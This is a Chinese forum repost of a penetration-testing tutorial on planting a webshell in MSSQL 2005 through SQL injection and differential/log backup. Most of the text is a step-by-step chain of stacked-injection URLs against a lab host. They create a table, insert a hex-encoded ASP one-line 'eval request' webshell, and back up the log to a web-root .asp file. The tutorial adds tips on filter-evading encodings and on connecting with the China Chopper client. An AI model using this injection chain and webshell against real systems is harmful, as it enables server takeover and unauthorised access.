搜索

[21149] 2020-07-20_Web渗透之mssql2005差异备份getshell

文档创建者：s7ckTeam
浏览次数：44
最后更新：2025-01-18
2020-07-20_Web渗透之mssql2005差异备份getshell W e b 渗 透 之 m s s q l 2 0 0 5   差 异 备 份 g e t s h e l l L e m o n S e c   2 0 2 0 - 0 7 - 2 0 这 里 记 录 下 m s s q l 2 0 0 5 差 异 备 份 拿 s h e l l 的 过 程   h t t p : / / 1 9 2 . 1 6 8 . 5 . 2 1 : 8 1 / i n d e x . a s p ? i d = 1 ; a l t e r / * * / d a t a b a s e / * * / [ a s p _ t e s t ] / * * / s e t / * * / r e c o v e r y / * * / f u l l - - h t t p : / / 1 9 2 . 1 6 8 . 5 . 2 1 : 8 1 / i n d e x . a s p ? i d = 1 ; d e c l a r e / * * / @ d / * * / n v a r c h a r ( 4 0 0 0 ) / * * / s e l e c t / * * / @ d = 0 x 6 4 0 0 6 2 0 0 6 2 0 0 6 1 0 0 6 3 0 0 6 B 0 0 / * * / b a c k u p / * * / d a t a b a s e / * * / [ a s p _ t e s t ] / * * / t o / * * / d i s k = @ d / * * / w i t h / * * / i n i t - - h t t p : / / 1 9 2 . 1 6 8 . 5 . 2 1 : 8 1 / i n d e x . a s p ? i d = 1 ; ; d r o p / * * / t a b l e / * * / [ i t p r o ] - - h t t p : / / 1 9 2 . 1 6 8 . 5 . 2 1 : 8 1 / i n d e x . a s p ? i d = 1 ; c r e a t e / * * / t a b l e / * * / [ i t p r o ] ( [ a ] / * * / i m a g e ) - - h t t p : / / 1 9 2 . 1 6 8 . 5 . 2 1 : 8 1 / i n d e x . a s p ? i d = 1 ; d e c l a r e / * * / @ d / * * / n v a r c h a r ( 4 0 0 0 ) / * * / s e l e c t / * * / @ d = 0 x 6 4 0 0 6 2 0 0 6 2 0 0 6 1 0 0 6 3 0 0 6 B 0 0 / * * / b a c k u p / * * / l o g / * * / [ a s p _ t e s t ] / * * / t o / * * / d i s k = @ d / * * / w i t h / * * / i n i t - - h t t p : / / 1 9 2 . 1 6 8 . 5 . 2 1 : 8 1 / i n d e x . a s p ? i d = 1 ; i n s e r t / * * / i n t o / * * / [ i t p r o ] ( [ a ] ) / * * / v a l u e s ( 0 x 3 C 2 5 6 5 7 8 6 5 6 3 7 5 7 4 6 5 2 8 7 2 6 5 7 1 7 5 6 5 7 3 7 4 2 8 2 2 6 1 2 2 2 9 2 9 2 5 3 E D A ) - -
菜 刀 连 接 即 可 其 中 红 色 的 “ a s p _ t e s t ” 是 数 据 库 名 ， 这 个 要 根 据 自 己 的 情 况 来 修 改 ， 然 后 的 “ 0 x 3 C 2 5 6 5 7 8 6 5 6 3 7 5 7 4 6 5 2 8 7 2 6 5 7 1 7 5 6 5 7 3 7 4 2 8 2 2 6 1 2 2 2 9 2 9 2 5 3 E D A ” 是 一 句 话 “ < % e v a l   r e q u e s t ( " a " ) % > ” 的 内 容 ， 另 外 “ 0 x 4 5 0 0 3 A 0 0 5 C 0 0 7 7 0 0 7 7 0 0 7 7 0 0 7 2 0 0 6 F 0 0 6 F 0 0 7 4 0 0 5 C 0 0 6 1 0 0 7 3 0 0 7 0 0 0 5 F 0 0 7 3 0 0 7 1 0 0 6 C 0 0 6 9 0 0 5 C 0 0 6 8 0 0 6 1 0 0 6 3 0 0 6 B 0 0 2 E 0 0 6 1 0 0 7 3 0 0 7 0 0 0 ” 为 备 份 的 路 径 “ E : w w w r o o t a s p _ s q l i h a c k . a s p ” ， 都 是 使 用 的 S Q L _ E n 的 格 式 ， 另 外 第 三 步 大 可 以 不 需 要 ！ 他 是 删 除 i t p r o 的 表 ， 如 果 第 一 次 的 话 这 个 表 是 不 存 在 的 ， 就 会 提 示 无 权 限 的 信 息 。 另 外 在 语 句 “ d i s k = @ d ” 的 地 方 可 以 将 “ = ” 更 换 成 “ % 3 D ” ， 就 是 使 用 U R L 编 码 。 “ / * * / ” 就 等 于 空 h t t p : / / 1 9 2 . 1 6 8 . 5 . 2 1 : 8 1 / i n d e x . a s p ? i d = 1 ; d e c l a r e / * * / @ d / * * / n v a r c h a r ( 4 0 0 0 ) / * * / s e l e c t / * * / @ d = 0 x 4 5 0 0 3 A 0 0 5 C 0 0 7 7 0 0 7 7 0 0 7 7 0 0 7 2 0 0 6 F 0 0 6 F 0 0 7 4 0 0 5 C 0 0 6 1 0 0 7 3 0 0 7 0 0 0 5 F 0 0 7 3 0 0 7 1 0 0 6 C 0 0 6 9 0 0 5 C 0 0 6 8 0 0 6 1 0 0 6 3 0 0 6 B 0 0 2 E 0 0 6 1 0 0 7 3 0 0 7 0 0 0 / * * / b a c k u p / * * / l o g / * * / [ a s p _ t e s t ] / * * / t o / * * / d i s k = @ d / * * / w i t h / * * / i n i t - - h t t p : / / 1 9 2 . 1 6 8 . 5 . 2 1 : 8 1 / i n d e x . a s p ? i d = 1 ; d r o p / * * / t a b l e / * * / [ i t p r o ] - - h t t p : / / 1 9 2 . 1 6 8 . 5 . 2 1 : 8 1 / i n d e x . a s p ? i d = 1 ; d e c l a r e / * * / @ d / * * / n v a r c h a r ( 4 0 0 0 ) / * * / s e l e c t / * * / @ d = 0 x 6 4 0 0 6 2 0 0 6 2 0 0 6 1 0 0 6 3 0 0 6 B 0 0 / * * / b a c k u p / * * / l o g / * * / [ a s p _ t e s t ] / * * / t o / * * / d i s k = @ d / * * / w i t h / * * / i n i t - -
格 了 ， 这 个 大 家 在 学 习 注 入 的 过 程 中 应 该 了 解 ， 也 可 以 更 换 成 “ % 2 0 ” 。 没 有 专 业 运 营 团 队 ， 纯 个 人 凭 着 空 闲 时 间 的 学 习 ， 通 过 网 络 搜 集 与 学 习 整 理 的 资 料 记 录 并 分 享 。   如 果 觉 得 文 章 对 你 有 帮 助 ， 请 支 持 下 点 击 右 下 角 “ 在 看 ” 转 载 自 ： 卿 先 生 博 客 地 址 ： h t t p s : / / w w w . c n b l o g s . c o m / - q i n g - / p / 1 0 6 9 2 8 2 4 . h t m l
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理